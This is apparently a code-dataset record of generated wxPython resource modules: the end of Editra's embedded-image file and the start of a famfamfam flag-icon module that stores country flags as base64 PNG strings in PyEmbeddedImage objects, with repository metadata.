\"+tf9+3H25ElFBHtNVRVu37qF7Bs3UHD7NsIjIjArLQ3bdu8mAhYSYuLi0FBXh/b2dmHV1NKC\"\n \"5atX4+bVq+Sa6spKlBYXk+DRuClToNPrUV1ZqTh0LaGluRk2mw3JKSmq+01fUFMfg2mPxwk1\"\n \"cViaCIWGAfGvH35I/n9u585heWifFuRkZeHc11/DZrUiISmJ2BA5jweFBQU4fOAAACHM4J0P\"\n \"PnjMuR07OH36NHfeh2rOuD6ao0HDWMTXx4+T1VxSSgoxgtMMg2TZqlHurNCgbkuoqeZo6Bfe\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"LeErb72Fbbt3K7/UVouPFKkzZ+K7//iPmJWWpvyhj3o/fvgwuru60N3V1S/7hQYN3nhiV1gA\"\n \"MHPuXBw7dOhxZ2PU0NnRgbycHJQWF6OlqQk0TcPj8cBgNCIuPp4wTjwqUDSN0LAwbNy6lfBy\"\n \"9Xut5szRMAT4Zhwdx6uSgcj2niS43W5cPHsWNzIzMS01FSvXrUN0TAyhTOnu6kJxYSH+un8/\"\n \"kqdPx+r16x/phGHwIorrC5t37MCXR46Aoihs3rGj1+/yI0GxU6bgtXfeGdE8ahifeKJXWE8D\"\n \"bFYrPvv0U7S2tGDvt7+NuISEXtf4WSyYu2ABZs6Zg2OHDuHsyZNDJoQbKUxLTSW00xo0qMWY\"\n \"<KEY>sQJ\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"vpck1n/Rh9R6dWUl+f6DDz/EX/fvx738fMU1sfHx2LJzJ059+SUelJYiMDAQu199lajENDc1\"\n \"4ea1a3hQUgKb1QqHwwGWZREeGYm58+crSAjVoLmpCVmZmSi7fx82mw0URcFoNCI+KQnpS5cq\"\n \"qI+Gkt+h9qHxDG+d0b7gkw/L32JJWLho0bhdZsn5nNxuN+pqauBnsaCxoQFOhwO11dUoLy3F\"\n \"nHnzQNE0pqWmIjwyUtHBgoKCMGf+fMQlJCA+MVEhiST9JsHa3Y1Pfv1r5OfmoqO9HWs3bMDu\"\n \"V14BTdMoL+2h+tm1dy82yRRR7uTk4NC+fWhtaYHBaMT3fvADLFq+HDVVVbh75w4Sp07FpOho\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\n \"/+GHmD1vHq5fuYLW5mZ8c+8e9Ho9omNj++lFShTcvo39f/gDqisrMSUhAa+/+y4WLVuGqspK\"\n \"5GVnIycrC8HBwWTiHmx+h9qHxjtKSkr48vLyYeoSPkGGaz+LBd96+23s2rsXz8kMvTVVVciV\"\n \"TUIDsS9OlunL9YVL58+jScYGKrn45arAAJDnpQN34cwZRT7Nfn6gaRrPbt7c54rl9q1b4Dwe\"\n \"wk/FcRw+//Of0dzYiITkZCKm6efnB0DY2k+fNYuk3+nF597U2IgjBw/C43bDz2IhKw75yqO8\"\n \"rIyo7NTX1uKLv/6VTDobt22DyWwGTdNYuW7dgHU0OSamFw3xYEDRNBZ6rTYpmsbze/fCI6Mu\"\n \"ltg7s2/cIPTOVqsVNMMIpIsTJpBr5XJYA6GupgZHP/+cpPfsc8+BYVkwLEvsgh63G0cPHSLb\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"LDkYlkVIWJiC43okEB0bq1j6d7S3IygkpBe3lFxtGRCED+TbqILbt1Fw+zYiJkzAM2vX9lr1\"\n \"NYqc5NLkcluSlKcoYnyvrqwkA3HGnDnk3uampl7S53JBirqaGoUtSR6mIIkvyLcmQcHBvSvi\"\n \"MeGZtWvJ9lJCyowZSJkxAxzHgeM4FBcVoTA/H9WimgygPnynQqbYbOlDHMI/IIBIdVWUlQ0p\"\n \"v0PtQ08Dnmp6Gbmw5Ei9rZatXIm21laydcq6dg3rNm1SbDniEhJ6qZRs3rEDf/74416dsqG+\"\n \"Hof27cOWXbsUWwK73Q6apslKRVpd+fv7kxXO3bw8AIIgrHzCu19UhOSUFMVz5M+dMHGiQrWl\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n <KEY>\"\n \"<KEY>\"\n <KEY>\"\n \"<KEY>\"\n \"EB0bi6K7dwGAaO0NpJ83HAykBakGF06fJhP6hKgohISG+rzn3p07+PJvf4PZzw8vvfYa4V+f\"\n \"kpiI/NxcAH1TRsvbKT4pach5Hkofehow9tfyIwiXTOapo71doSe4aPlyxbVBwcFobW4GAIV8\"\n \"uEJKvB8cO3SIGLB/9uMfwywT4gRFITg4GItXrCDadQDgsNtx7uRJbNq+HYAwIW19/nkyiXgL\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"q4jzWbtpU68V1qy5c8k1zU1NuHHlCkLCwnq5vxsbGnqtLmanpRHBVZvV2suW0dzYiJL79/HS\"\n \"<KEY>\"\n \"vv1tVfUzKToam3fswFdHj4LnOLS1tuLjX/4SfhYLWJZFe1sbkqZNI+f+piQmYvGKFbh26RIA\"\n \"wRtZ+q//CqPJ1Gs12NTYCGt3N/FycRyHTq+Jv7y0VBGpn5icjLt37gAQJpyDf/oTzH5+JNjV\"\n \"26vX0dEBj8fTpzZhdFwcMYC3trTgT7/7XZ+r54wzZ5A4dSpi4uKURnjZ/+GRkdjx4os49vnn\"\n \"cLvdOHPiBHa88AJ4AGdPCop5Or0eu/bsUbxkBpNfYOh9aDxDTVjDmBZSHQlcOncOG7ZuxYat\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>DBsUAS0hK\"\n \"QlBwMDra22Gz2cCyLKJjY7Ft927k3rzZU0dOJ65fuQKHw4GEpCT86mc/66XonZeTA4qiSDli\"\n \"p0xBc2Mj2tvbQdE0dDodEpOTMSkmBtcuX8ahffsUW0W7zYacrCwkTZtGYs8kxCcmoqmxEe1t\"\n \"bWBYFsEhIVi3aRPS0tPxsK4OXV1d4AF0dXTAz98f0bGxCAwKwoPSUgQEBmLzzp2KNCMiIzF9\"\n \"1ixwHg+qKipw+cIFZGVmwul0YuacOdjx0kuKIN/B5hcYWh8a7ygdCSHViVFRz77/wQfjdgNt\"\n \"s1phki+nHzEelJTg+JEjaGtpgd5gwA9+9CNiS3I6ncgSJe8BwUD+zz/5yZCfxXEcjhw4gHsF\"\n \"BVj/3HO9Ite9UVNVhTs5Odj4BEVHP4kYzT40lnD61Cnu/IULAwqpjtuJSC1Gc7ICgCMHD6Kt\"\n \"pQUAEB4RoTh7p9frFbay4Upl0TSNXXv2YNW6dTh78iT++NvforiwUCH77nK5UF5aisMHDuDk\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"aNAwbqBNWBo0aBgTGBE+LA0aNGgYDYyMVL0GDRo0jAZUUFlpE5YGDRrGDXyGNQAY+pFzDRo0\"\n \"aFAJk8kEm812caBr1ExYGjRo0DAmoG0JNWjQMG6gTVgaNGgYN9AmLA0aNIwbaBOWBg0axg20\"\n \"CUuDBg3jBtqEpU<KEY>)\n\nindex.append('splashwarn')\ncatalog['splashwarn'] = splashwarn\n", "id": "7871924", "language": "Python", "matching_score": 5.987566947937012, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/edimage.py" }, { "content": "#Boa:PyImgResource:\n\n#----------------------------------------------------------------------\n# This file was generated by famfamfam_flags.py\n#\n\n\"\"\" \nSee: http://www.famfamfam.com/lab/icons/flags\n\nFamFamFam Flag icons are available free for any purpose\nCopyright <NAME> (<EMAIL>)\n\nThis module is (c) 2006 <NAME> and licensed under the Python license.\n\n\"\"\"\n\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\ncatalog = {}\nindex = []\n\nindex.append('AE')\ncatalog['AE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA3UlE\"\n \"QVQokYWOsU0DUBBD3ye/pKOKBF2YIiUd89BFTMEUabNJNiASTIBozr47igQBRcjTybrClj2a\"\n \"HwoWz2AwFAQY4s8zATYboKtG1dNjujLLbrvsktIuqazU7mU3Aeh+eyeTzNcPZaZaSqmkVGRE\"\n \"hVJ313enhq4+ulvaPmz7DGOMw/1hFoxM7LaRz7m7G6iqCeBs6XJgDNsT6HTbrfg/MLqBWTCk\"\n \"jsDuiH/2dHdVzYKF3RJSS+v1OiIknVRShC07V6vVfr+fBVcyy2VLOG+tI7aPaju/AcYn1K+7\"\n \"4QJfesZpBoG4DtcAAAAASUVORK5CYII=\")\n\nindex.append('AF')\ncatalog['AF'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABbUlE\"\n \"QVQokVWQvU5VYRRE5+ABAX8KCQIlFeEFKKkt7WngNSzvG1hb8gR0xqixMrHSwoiJMcZOIMHk\"\n \"JtyzZ2Z/37YgJroy7SpmDfv7+/P5HAAASb+urvrycrcBJADg2SaeHwMBCADG6+vr2WwGoPXW\"\n \"W4c9ZLtjlb1id+npbnnvRk1sPH1xOo7jCODi8jLtzCy7pKJKLLKTv+/Wt+05HdvrOxDG3ntr\"\n \"LW1nWiq7gH5yXC3rzbv68N6uyZNMJRFYkpSZskVKKrKOjvT2tc7O+uFhD5qkOWWwCQuMsVhk\"\n \"piXJZJTU11bz4ABTDKsrFZHRp5zCZBKB8SbCtiSSJLvUfnxf2trp9+7n+ddhsbARGUoxCWFE\"\n \"le2IuHV6RL18FY83y7ny+RxkqmhGhrshjLf5JUUEyYqoL+drHz91skc00kS0SS3d/gokH21s\"\n \"3J4GBXGQBnKwl6SHW9h9sOF09sQCA/7nJ9CB/GdPgIs9IIAE1vEH+0VpUzSLjT4AAAAASUVO\"\n \"RK5CYII=\")\n\nindex.append('AL')\ncatalog['AL'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABgElE\"\n \"QVQokU3RP49NYRSF8XXe83IdF5mMiZhoFBKJRKX0MZCoVNOIZgqKaZSiEaLRjIbaF9AqNDq+\"\n \"gj8Tk+u6M/fOefdae2/FkGif5il+3ecBNYACAFUQUYEROG4GCBAQQAAjUCuw+eI5gHSPiOq+\"\n \"+2t5eyjF/fX+4f1p71InCzLIL6/eVAAAtPe9D387W90ZyvXl+Hi2lNndobP9ePZzsT0tMjt5\"\n \"cdOAGoF0T/eUbvS582Mxtpa009LLg0ZrD4Y+jGEWooBSDOmeZIqfDo8uhYxcNvt6NLaxbbg+\"\n \"LJbRLM3CWICCRLpCTOoKHOTDaddaa63tnC1rYVeTYc1bSxJADSAlUO681vnlSb6brSpN1t7P\"\n \"Y2vSTZRhTBpIA4oBoJKm1gbZ073ftyY5H9t8bPdOdY++zQdZ0mAWrtXxIZxBCzOYPTnX9+LN\"\n \"Pg9KnBF310+4WZLpCglABZBUv3GhkEGCFtT22vkkwxlSkUCPYLoC6D4CAOI/UQH2z/WvEmAA\"\n \"gBH4A2X6QkAkcTlLAAAAAElFTkSuQmCC\")\n\nindex.append('AM')\ncatalog['AM'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABE0lE\"\n \"QVQokVVPvU6bQRCc+3yV3VKgiJY3oMzTIapILtMktDwaEgqS9WEJEm7nJ8XZkKxWoxntzGq3\"\n \"1fU11hWzbI9hEmNAMjAbZ2Kg43BY7u4AxEaykTY2yEiZKIEMCem433csC5D8eoYUGT6NQ6bq\"\n \"FKtCVbu8JNCxrnEwN0mYjukmwwqZIlipMtAvtj9uefPEN8tkSJOq8r+kylX6UrufeO9j0LZo\"\n \"0qLrP58os1ylKYE/fYzPKz5uqQrpqkhz/fwfANrv7+hfv+X1MWHMqD7RZVUsuGIuu6un+4fu\"\n \"BTATxhV9ZCouT2nCjOkYHd1HZAibC4AAWyPaydEWtQhSLIN4p1e0lz3wBg+YZyR4JpiSgGEC\"\n \"W/wFGOaHzQZ1JyAAAAAASUVORK5CYII=\")\n\nindex.append('AR')\ncatalog['AR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABOUlE\"\n \"QVQokU2RvU5VURCF1z5sDyihwBsMjYWVEUsTShqUxEfwAWxIKK2peR5ibLTz5w1oTLAmuZFo\"\n \"LnKy78y3LM6B3NXMl8maZGZNeffDi9AoREOEQmpBwBA0aCMEfaf6N/T+2ei2XbCQwOmSrKW6\"\n \"xOC00z75vqhDaImul8bCSjsRduDAYScTz9aLGvX06fzFk9kSWZKNZRls27LxiNgPinZezuvz\"\n \"LWa9JNmWZdm3X3JxjqPbfOuNI9+pFO3P1I3nTr2xDp/hl/PS/z55VRJQV90aJ/oDDXOpeeNw\"\n \"1V9soF78YW/LLW3rbt03fvQaG8zN5Ab11d/mWY9/Pv6wpqtbB7oPJO9TYkop0e5DnX3drh0U\"\n \"dTvrU6BpJUpKWoGwQOmS2JJEefXx5nebHjkEQyhBgRoCjRxIKKRe/wH2AXDnJMhVrAAAAABJ\"\n \"RU5ErkJggg==\")\n\nindex.append('AT')\ncatalog['AT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA6UlE\"\n \"QVQokX2RrW5CQRSEv21vatA3NwgcpjUoHgyN54EwvAGeF0C1glBca/b8TMXeFGhIJydfRkw2\"\n \"Z+cUcVXe+4dTBKzXgDLJJEIehMsdd5nphl/bbQeA9P5BBBEyaxynmqyqVpmV2SyhY7nU6xv9\"\n \"gFLuRChC7nK/Gvda68sw5G5XTqdT3/eAJITQH9VaGyeTyeVyaSuNqV/zWCCpu4Yevn+blzKz\"\n \"2GJRViudz9xsLA/F3TeIKMPwudl0eTg87/c6HhlrGTsZ2YwbHsznQJfwZM50KjM8cMOsmOFO\"\n \"o3trnIiE8n1/yH9u3PQDfNZaTYpscjsAAAAASUVORK5CYII=\")\n\nindex.append('AU')\ncatalog['AU'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAACC0lE\"\n \"QVQokU3HT0hTcRwA8O/b3mhLndO5tmnPtuUi56YdYguzwrKB2SIiKOiUFR2joGSHLkXBQBE6\"\n \"ZlHQJbBGBDGFKK1cRA0TTALdFhk129JtbHu/9/vbVfhcPtLHkdszxo7o1PpYMS5zfoWHr7f+\"\n \"PLy3ffB+AapFAApABy8MJB6+BFgHwNJQZOxRtI/YFTSfEkiVdngsNsvrNPqy+JtRrmJyLhKQ\"\n \"ZSmzupGYXXkyOi6lTCbnnbv6wl9SLnNNM9TXaVyqqThmPFCkEkZYcTaG97tjE3MupWny3rju\"\n \"nf+4rqvH6OtkVhsorq3BIFHc6e3diIoT/R0A8D2bj03MRS/3Oax1ADVd8fQwWK0vuOtPvT1n\"\n \"sMSbg3p/oGRuOXLQq9gbrg7vUxE5e8xnkKWjvW4ApPdLrfkGx0wWkRrKVnVTS6Xlit7C1efJ\"\n \"X15Py2Ti21q+UthQmxqNT18trnx9r/+c6QwMdFeLlQwxZfAWmeJcvjKfI0yIZGp17V9FCHFm\"\n \"qOtxfMFkNGQW3ugAKFBOKD91yHPzYggTRhkHzgimnHPBhKbR0QfJUrnGGQOgOgCMKRNChPa0\"\n \"tTvNJ8O7NUwwoZhQTJiKSZvDPHKpVyOMMQFAZQDMOW9uNE1/SPfsss1++qE4zJrGmOCUChXh\"\n \"a+dDvp3bNMyeTS8BIAkgAkABEADehG6ut//G8ttbABwA/gMK+Buk8wRxpgAAAABJRU5ErkJg\"\n \"gg==\")\n\nindex.append('AZ')\ncatalog['AZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABbklE\"\n \"QVQokU2QvWpUYRiE5zs5uyFrwEYkP0SzaqugtW1uIhewd2AVvIM0ptvgJWjjDSguqNgJWbtV\"\n \"RBFt1MRE93zvzLwp1oDDw/DAdFPw6DXmxCIGaJggQIL+19UgUYm2aXHKvZ0hACecqUwasplJ\"\n \"m0bItMMZymfjVy0GAyy1X85ChjLDljKkSIQznFWudshbl/ror5ZJKTcODuq372lBMpmkSZMZ\"\n \"YdIRjkiyv7b2cjxu0TQgoUgJQc3/Xt3d7W1sHj9/0bu+dTyZ/JlOM2hGRm2AxpITlpMSuTy8\"\n \"2dseft7fH9y7u3xte+X2HVEiRdlJoAFQFg9UllB39L6bfVwfjX4+eTqfzc7evC0dS2XpiEoD\"\n \"bQUkSpGiGW7y6+PDrGHx1/TIEV5M5pJ5CrQ7DzG6rw+/FWJYVayqUaNCYVYzTIq0bl32u09o\"\n \"cYIIrvevhEiTYpjRI82wKDEpSSl1wg8UPABOAAL1Av4nvBADBFZxDq7cZQ8Pjp14AAAAAElF\"\n \"TkSuQmCC\")\n\nindex.append('BE')\ncatalog['BE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA7klE\"\n \"QVQokW2RQUqDYQxE36dVRFTEjXThxgt4IW/SW/U61V0FV4riKjNJXPT/WxWHIau8zEAGv/Xx\"\n \"zkUAVFHX1Cd1S3HwAlitVkBVVdXZeXKV4NE+xkeX6ke31HZLX+v1AoDebl8yMzOrBNmtyane\"\n \"REe0NO7upoSqzkxnWurO7uh2t7qjOzq0A5AmIDO9k3y4/R/ADrBT0g8gDkCpY6qEvU+w7VD8\"\n \"BuY5J4x9JUkRYVsRfxNa+/Ntb+dK1qyp9377RB3RFk4yPSd4uVxKsnMMgcYQGITMvcncuWD8\"\n \"+fTmmVjgoszNGfXG6wOA4RSe4BuvWmXvCEAfcgAAAABJRU5ErkJggg==\")\n\nindex.append('BG')\ncatalog['BG'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABB0lE\"\n \"QVQokW1OMU5DUQzz+7wuldhYKhV1YeEenKkjCzfgMsyVmDgCqhg6dWEBFYnYcRh+Cx+EEzm2\"\n \"nEhph8MBE9geeSq+IbsDmM/nAKpqvKka3WlMsN/v+2mppqL+Q2vNdt++bZfDMit/EpTLo/Sp\"\n \"XJ4N/fnjueEO65v17n0nSxZNmkxGkhmRQTMUNFfnq839pgNQJYsqqUQzHDRZjIoo0hEVNFWC\"\n \"0TEgB2lQVKiJjUREYyAIBoIDo4JFDkRHxyNW15y9hlJSKMkMiUpSIZEZMiUtL/S0Qf98wNml\"\n \"/EKQRVYcHznyKEQo21XeAt3AQGGxKBJKiCAbCQkjS8gc20A7AJ40fts/EYAvPNBlhsfxqY8A\"\n \"AAAASUVORK5CYII=\")\n\nindex.append('BH')\ncatalog['BH'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABIklE\"\n \"QVQokV2RPW7CQBCFn5FbFzSxlIgbQJPchpvQkZQhSKRBSorkDjTcgaSDC9BQ2AqJTBDOzuy8\"\n \"FOsfwdNoNSt92jezLyqKArWS5dKGQ3gfrgYYoHUTKiqKIkmSQNA88hxv78xyeKUqVO10oghV\"\n \"KfK7WMQVSgLAeoPXF37t4RxFQtnxSOcoEvV6BnRaGsBgwPsHpGkg6ITOtSViQGxmzQ5crzF5\"\n \"4s939bwTSktDBMEhmJBkv8/nGW+ua8idOagaEDc0AH5+4HHC/Z7iqnlEGodIxICOmbEWbu84\"\n \"mzG94p+7oKFKVW12qPZerTidcrdr6XCqQH3IJ8qyrNvtViN5j+2W4zEPB9R/b2VJ7+E9vM83\"\n \"m5hkWZbBx+ZzG41wHm2TdNA/d+tUbaz3axgAAAAASUVORK5CYII=\")\n\nindex.append('BI')\ncatalog['BI'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAB/0lE\"\n \"QVQokTXJTUiTcRwH8O/zbMl8HvfC1tzKaI4sGy1q7JCCdIhePEanLqVEVqNL0SnommKHFkR0\"\n \"6VSSQW8g2EkQKTIhiqSpGLY2UsKtPXtrm//n9///OkS3D3w0zmQgjJW+HrUlnaGQIlJEEEK1\"\n \"WsSsAAW0AADx6XnlrGoHJqNfz34H0FhYqM/MOIJBSEm1GojgcrGUdj5vnho0Txxn5vbRdoc+\"\n \"UNHchr8jHO6Om8n+8qvnVCwGzg274gerb6ZFLhceu7sttjfTWr318ebi9KLT7/F52nwPvqQT\"\n \"ncnh6FB4fJyZi6W8sCmUTjMzM99bSU9lp/pC/fBBJ6UAhDp2LBUzqfkrZW4ysypYWvE3M9dZ\"\n \"nJk9/Xb9XbcvyhqjBb2hWpKlYmm4TEHiW2WZayLQEw/2JrjaXKutVpo1r+m1JZEiKOi/XKRY\"\n \"ElP5j9VUzT3uQz9ePCpll6yN7Nrj+1EzJp2iUC6QsqWS6IAulbQl5axcl7vrycCEh3n3+cu+\"\n \"yH5vOBJN3TCYZ47N9vr3rRSXbRJQcKKEjfr6SDx1xJtkxT8vjUDT/NevMWuF0dvCKkWevR49\"\n \"PDYXeZ/+fAeb0PAQ9kWbmRvzH6ynE47AdkhpVyrKtnXDYKKtfM4/dMEcPAnAc9WjzWXndpU7\"\n \"PyViVaANIEABBAhA/fe/Ojr5cmnn5l99aCZ0THLLKQAAAABJRU5ErkJggg==\")\n\nindex.append('BLANK')\ncatalog['BLANK'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAABHNCSVQICAgIfAhkiAAAABlJ\"\n \"REFUKJFjZGRiZqAEMFGke9SAUQOoZQAAMjgAHL4jfPwAAAAASUVORK5CYII=\")\n\nindex.append('BN')\ncatalog['BN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABw0lE\"\n \"QVQokS3MMWhTYRTF8fN976U+kxgNdojBoZAIDopUyZIOoougm4ug4CIdRASJFNRdaCdx6OAo\"\n \"KMFZcLKbi2jBKKJRaRMpCVbb5L00eS/fvbnXIT3Tbzl/M2wCDrCYTgSQfQgDApF9s0AERlUB\"\n \"TAYvwH9FepCJqsAwDAszwBBWJVFW5d2vr/xp2GZvALCATLYlfDre23ZRdDDvhAiGREnFmdRx\"\n \"YXjpIKguLExvqmpMxgQXNnbO0juXLbVgVGQkTCLO2kPD7g/v7dpaHMf1en22WHTM+VxuEsfu\"\n \"+RMNd+n0s5nCNT9702YuarIOg367aQDUavfb7RYzM/FK9aTn+dHl6+Wj+ejlqrhxofZYVVXV\"\n \"WBv2+2bwDebIg18/Nx8uR0xM5K+eL9158z7taOXSmd7V26lM5tTcnKpaa3u9ngm/ICguCbVM\"\n \"KhkPqPtbw3+Y/VRCsrf0+vv66I9zjojOzc/fWlysVCombODAsXtCLUgCjxQuCYViVuXOJq7c\"\n \"7ZBzzMQ8KZfLjUbDF4YqG68gmiizgoPDZGcmEDpRpebH3DiSrQ5vdfnR8hCA2fkAYYiA3T6E\"\n \"YX04howAgU2DA0AgjI3P+A9mXiz0vUkDDQAAAABJRU5ErkJggg==\")\n\nindex.append('BO')\ncatalog['BO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABHElE\"\n \"QVQokW1RPaoUYRCs2f008pmpCwaC4DG8h7G5eAkRQzHzDiYewnsYi4Esbx/jV38GMysGNkVT\"\n \"1d10QffSR0dcIzImEGBFiuA/GADw4ROApkuMpA7sJT7aB7Fyrco1b99/HABQ9OcP2EgqYW+7\"\n \"YqWKJSsuj08Bxt0r338x82RF1Lh2w0awatasFbPm4eHd+RnG7WvcPF3NSyvUjVo2TP8SNmzm\"\n \"4d7Nr3cYCBq3aoW4ZcLuQwpmw4aJDlGCEaFgK4StcnXYd28mYaPCEsYX4aV50e+EKRN6I6Wz\"\n \"y0auHhzXzyvGmzPe8vJ9nhkqYjgzWe5kK5aKn+Py7YwBQdFpnFQxcjQxFW3YTuvYtWEIC74C\"\n \"AfQPNjmvv92K2PMfrSN8t7ZlHI0AAAAASUVORK5CYII=\")\n\nindex.append('BR')\ncatalog['BR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABrUlE\"\n \"QVQokU2RO2iTYRSG3/75Qq0oIYMS24JDFcFbBkcVlAoi4uAloMRJUSGTQ10KCkWx4KK03kAc\"\n \"xMvQCirWwUXNpi62OAgOUhW8ECxNm1/id95zjkOU5OFweOHlcIanC8fRxgD+3xGIHaE1TQQA\"\n \"I+URB9zNzNRVTbet/x3AqXcJjWpKihhFZeLsRADg8G8L37XVGe8cTN173GWw8Gvv3UykUCVq\"\n \"7M/1//vg7mqkcc+mtNSrw8Nj01YQ+kDzx9OLhx58levVDFWEgogEBho1SW/tT0sDnP5QOlIp\"\n \"3Bz6UynVZ7pXnrkwdHhNrB6rR4qYoIkERG+ueXufJC4Oufx88PQNv/oky7jk/AnPbyy6R/f4\"\n \"5tR8sa+BFAkiZueSk8/oiO5xS/6t0Gc++ehkmK95cfnr1sGue/HVe0EOCQiScwvJgfth6nOs\"\n \"HB1du5jWfrosevVRY/f2c49n44ax7JdaNrs0izoCIugUFVEZf5m51JO+uLLDpc9FvPvj5vEg\"\n \"FqhCJY0AAiKELCxbRRUxIVeUJ6W8tZEJdu3hutV5qilVaWJqALqws22x02jbtKKTv/JDL0E5\"\n \"0S0eAAAAAElFTkSuQmCC\")\n\nindex.append('BT')\ncatalog['BT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABnklE\"\n \"QVQokW3Kv2/McRzH8ef3e5+79tL2gtzFj5RGJcLAH+APYLIYDQYJ6R8gFpMwMHWiDFi7IGmE\"\n \"ySAGgxCLgaQGOYk0vetdr+e+/Xzen/fLIGLxyHN8FpO3BMP5y3EHIzTwEq/wiIM38IA/IAQj\"\n \"HL8BCEeOZ5HB1FhUtBA/q7BMKqLpVdp5uhY8AFL8gTKepQRZzRO+b6mqFKtx2bs26sbO6pfa\"\n \"scNepwSE/t2eFaK2Pw4Go5hy3WPRXt5a+1nsiZpKnihx8IyblJCpjL9G5cbkkA9fD8fx/fOV\"\n \"75tbncu3tBOVExBwUJaSZBSmKnVnVomTWl2hplPnr0I59+iSmolkDsENyeSmIlKz3t7rPqn2\"\n \"Nwa5Sv1Jcy5t2MubGkTNpCInh9IdeVItTmYvrIe7/c12M2+nXrd17+LCh2fjufn+2TsaJcyU\"\n \"zaD0CDXT9Mn+8PT0t+3Fh1eK6ebwzWOxq08r7dtnjtw/p3aUJXkGQjmLStO73sH1Zaayjs63\"\n \"vr6oN2JxYIEy0TLcUCZnPDsUoyewhO/iHTyC4WOc//THb4UhI+oZPvWXAAAAAElFTkSuQmCC\")\n\nindex.append('BW')\ncatalog['BW'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABDklE\"\n \"QVQokX1RsUqjYRCcjT+KYAicoJ2BA/EN8wRi6YvcA9jYpFMfIU0gWB0XuIBC2J1vxuIzIXeI\"\n \"U8wu7O6wzMT1s/8SHZRSoJCCJUigQGHfA8OfxN1PGBBsRxME0JaCPmoeNZtyyc2+f3obRoCM\"\n \"3+VmSKDdDMq0O5dcMuXLkwAVm81mPB73l2x3/hIRsVwuA8BsNlutViRZLFZHZlVl7kpVTafT\"\n \"+Xw+ACBbVe0P+vif9cy+AGAA0BpJZuVOPzPrUHsvASDW6/VkMvn++z6NiMViMZy/nN3e4HXr\"\n \"Eg496Uy5ul3C1Sl+Pf4YQMmji+NuJZpBoRS9aUIzmqPJAkAFHt6xPQiV+Iw2/8tYIHCMD2d1\"\n \"fWGuzZK5AAAAAElFTkSuQmCC\")\n\nindex.append('BY')\ncatalog['BY'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABTElE\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"8iy/fO5Onh+euIpZSGEKWZGKKWRhHlLxxzP/+paqfPpY3rzefnjfTq2dqp1aM6pvKltX1kyt\"\n \"qa2t1VXBI+qyN2fTVK9eLJ4uvISHVKQiL66QF/f0iIiMyGDLpPv56+9i7/uPbwcvDzAwcHYB\"\n \"MNhCYZj/bzd1lgzDLI4AAAAASUVORK5CYII=\")\n\nindex.append('BZ')\ncatalog['BZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABpElE\"\n \"QVQokVWRv2uTYRSFz/v1a5Jq2kRNJEJCsaU6KIIUXPxBJ0FxdHBycvZfcHARBPE/cBPH7oJQ\"\n \"7SgFKzrZgrbW2LRJkybpl/eee69DKNSHMx14pieM8B8ECGQAgNzxaccDEDC78eLZWQAGN8Uo\"\n 